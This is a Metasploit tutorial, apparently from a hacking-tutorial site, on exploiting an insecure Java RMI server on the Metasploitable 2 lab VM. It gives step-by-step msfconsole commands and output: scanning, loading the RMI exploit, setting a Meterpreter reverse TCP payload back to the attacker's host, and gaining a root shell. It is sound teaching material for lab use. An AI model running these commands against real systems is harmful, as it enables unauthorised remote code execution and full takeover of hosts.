In the world of technology, there's often a trade-off between convenience and security. The Java Remote Method Invocation is a system where that trade-off is all too real. The ability for a program written in Java to communicate with another program remotely can greatly extend the usability of an app, but it can also open up critical vulnerabilities that allow it to be compromised by an attacker.
In this tutorial, we will be using the Metasploit Framework to attack an insecure instance of a Java RMI server located on Metasploitable 2, a vulnerable virtual machine.
Introduction to Java RMI
The Java Remote Method Invocation, or Java RMI, is a mechanism that allows an object that exists in one Java virtual machine to access and call methods that are contained in another Java virtual machine; This is basically the same thing as a remote procedure call, but in an object-oriented paradigm instead of a procedural one, which allows for communication between Java programs that are not in the same address space.
One of the major advantages of RMI is the ability for remote objects to load new classes that aren't explicitly defined already, extending the behavior and functionality of an application.
RMI applications usually consist of two programs: a client and a server. When the server is created, the methods of its objects are made available to the client. The communication is handled by two intermediary objects: the stub and the skeleton.
The stub is located on the client side and sends information to the server, such as an identifier for the remote object, the name of the method to be invoked, and other relevant parameters. The skeleton resides on the server and passes the request from the client to the remote object.
Vulnerabilities arise when the default, insecure configuration of the server is present, allowing for classes to be loaded from any remote URL. Since method calls to the server do not require any authentication, this can be exploited. Metasploit contains a module to scan for Java RMI endpoints, as well as a module to actively exploit this vulnerability.
Scanning for Java RMI
Start Metasploit by typing msfconsole in the terminal. There's an auxiliary scanner we can use to detect whether the Java RMI vulnerability exists on our target; At the prompt, type search rmi and locate the "auxiliary/scanner/misc/java_rmi_server" module.
msf > search rmi
[!] Module database cache not built yet, using slow search
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
auxiliary/scanner/misc/java_rmi_server 2011-10-15 normal Java RMI Server Insecure Endpoint Code Execution Scanner
exploit/multi/misc/java_rmi_server 2011-10-15 excellent Java RMI Server Insecure Default Configuration Java Code Execution
Next, enter use auxiliary/scanner/misc/java_rmi_server and type options to display the settings.
msf > use auxiliary/scanner/misc/java_rmi_server
msf auxiliary(scanner/misc/java_rmi_server) > options
Module options (auxiliary/scanner/misc/java_rmi_server):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target address range or CIDR identifier
RPORT 1099 yes The target port (TCP)
THREADS 1 yes The number of concurrent threads
Now we need to specify the target by typing set rhosts 172.16.1.102 (use the IP address of your own target). We can also increase the number of threads a bit to make the scanner to run a little faster. Type set threads 16 to set the number of threads to sixteen, a relatively safe amount. Finally, type run (an alias for exploit) to scan the target.
msf auxiliary(scanner/misc/java_rmi_server) > set rhosts 172.16.1.102
rhosts => 172.16.1.102
msf auxiliary(scanner/misc/java_rmi_server) > set threads 16
threads => 16
msf auxiliary(scanner/misc/java_rmi_server) > run
[+] 172.16.1.102:1099 - 172.16.1.102:1099 Java RMI Endpoint Detected: Class Loader Enabled
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
We can see that the scanner detected a Java RMI endpoint on port 1099, which suggests the target may be vulnerable. Let's try to exploit it.
Exploiting Java RMI
Back in our previous search results, locate the "exploit/multi/misc/java_rmi_server" module, and type use exploit/multi/misc/java_rmi_server to load it. Now we can display the various options for this exploit.
msf auxiliary(scanner/misc/java_rmi_server) > use exploit/multi/misc/java_rmi_server
msf exploit(multi/misc/java_rmi_server) > options
Module options (exploit/multi/misc/java_rmi_server):
Name Current Setting Required Description
---- --------------- -------- -----------
HTTPDELAY 10 yes Time that the HTTP Server will wait for the payload request
RHOST yes The target address
RPORT 1099 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Exploit target:
Id Name
-- ----
0 Generic (Java Payload)
Type set rhost 172.16.1.102 (using the appropriate IP address) to specify the target. All of the other options can be left as default for now. Next, use show payloads to display the compatible payloads for this exploit.
msf exploit(multi/misc/java_rmi_server) > set rhost 172.16.1.102
rhost => 172.16.1.102
msf exploit(multi/misc/java_rmi_server) > show payloads
Compatible Payloads
===================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
generic/custom normal Custom Payload
generic/shell_bind_tcp normal Generic Command Shell, Bind TCP Inline
generic/shell_reverse_tcp normal Generic Command Shell, Reverse TCP Inline
java/meterpreter/bind_tcp normal Java Meterpreter, Java Bind TCP Stager
java/meterpreter/reverse_http normal Java Meterpreter, Java Reverse HTTP Stager
java/meterpreter/reverse_https normal Java Meterpreter, Java Reverse HTTPS Stager
java/meterpreter/reverse_tcp normal Java Meterpreter, Java Reverse TCP Stager
java/shell/bind_tcp normal Command Shell, Java Bind TCP Stager
java/shell/reverse_tcp normal Command Shell, Java Reverse TCP Stager
java/shell_reverse_tcp normal Java Command Shell, Reverse TCP Inline
We'll use the all-powerful Meterpreter here with a reverse TCP shell. Enter set payload java/meterpreter/reverse_tcp to enable this payload.
msf exploit(multi/misc/java_rmi_server) > set payload java/meterpreter/reverse_tcp
payload => java/meterpreter/reverse_tcp
Let's take a look at the current settings again with options.
msf exploit(multi/misc/java_rmi_server) > options
Module options (exploit/multi/misc/java_rmi_server):
Name Current Setting Required Description
---- --------------- -------- -----------
HTTPDELAY 10 yes Time that the HTTP Server will wait for the payload request
RHOST 172.16.1.102 yes The target address
RPORT 1099 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload options (java/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Generic (Java Payload)
Since we're using a reverse shell, we need to specify the listen address. Type set lhost 172.16.1.100 (the IP address of your attacking machine), and we should be good to go. Type run to launch the exploit.
msf exploit(multi/misc/java_rmi_server) > set lhost 172.16.1.100
lhost => 172.16.1.100
msf exploit(multi/misc/java_rmi_server) > run
[*] Started reverse TCP handler on 172.16.1.100:4444
[*] 172.16.1.102:1099 - Using URL: http://0.0.0.0:8080/ALldcZ02dnZmL
[*] 172.16.1.102:1099 - Local IP: http://172.16.1.100:8080/ALldcZ02dnZmL
[*] 172.16.1.102:1099 - Server started.
[*] 172.16.1.102:1099 - Sending RMI Header...
[*] 172.16.1.102:1099 - Sending RMI Call...
[*] 172.16.1.102:1099 - Replied to request for payload JAR
[*] Sending stage (53845 bytes) to 172.16.1.102
[*] Meterpreter session 1 opened (172.16.1.100:4444 -> 172.16.1.102:38797) at 2018-09-25 11:35:32 -0500
[*] 172.16.1.102:1099 - Server stopped.
meterpreter >
We can see that the exploit started a handler on our system, sent the RMI method call to the target, and that a Meterpreter session was successfully opened. We can now use commands like getuid, to see the user that Meterpreter is running as on the target, and sysinfo, to display information about the target.
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : metasploitable
OS : Linux 2.6.24-16-server (i386)
Meterpreter : java/linux
We can also spawn a local shell with the shell command.
meterpreter > shell
Process 1 created.
Channel 1 created.
ip address
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
link/ether 08:00:27:77:62:6c brd ff:ff:ff:ff:ff:ff
inet 172.16.1.102/12 brd 172.31.255.255 scope global eth0
inet6 fe80::a00:27ff:fe77:626c/64 scope link
valid_lft forever preferred_lft forever
We are now root at this point, and from here, the world is our oyster since we essentially have full control over the target.
Wrapping Up
Good intentions and the promise of enhanced functionality can often lead to vulnerabilities in an application, as was the case we saw here. Today, we covered the basic architecture and behavior of the Java Remote Method Invocation, how to determine if a vulnerability is present, and how to exploit that vulnerability with Metasploit to ultimately attain root access on the target. We were essentially able to own the entire system all because of an insecure configuration.
Just updated your iPhone to iOS 18? You'll find a ton of hot new features for some of your most-used Apple apps. Dive in and see for yourself:
Be the First to Comment
Share Your Thoughts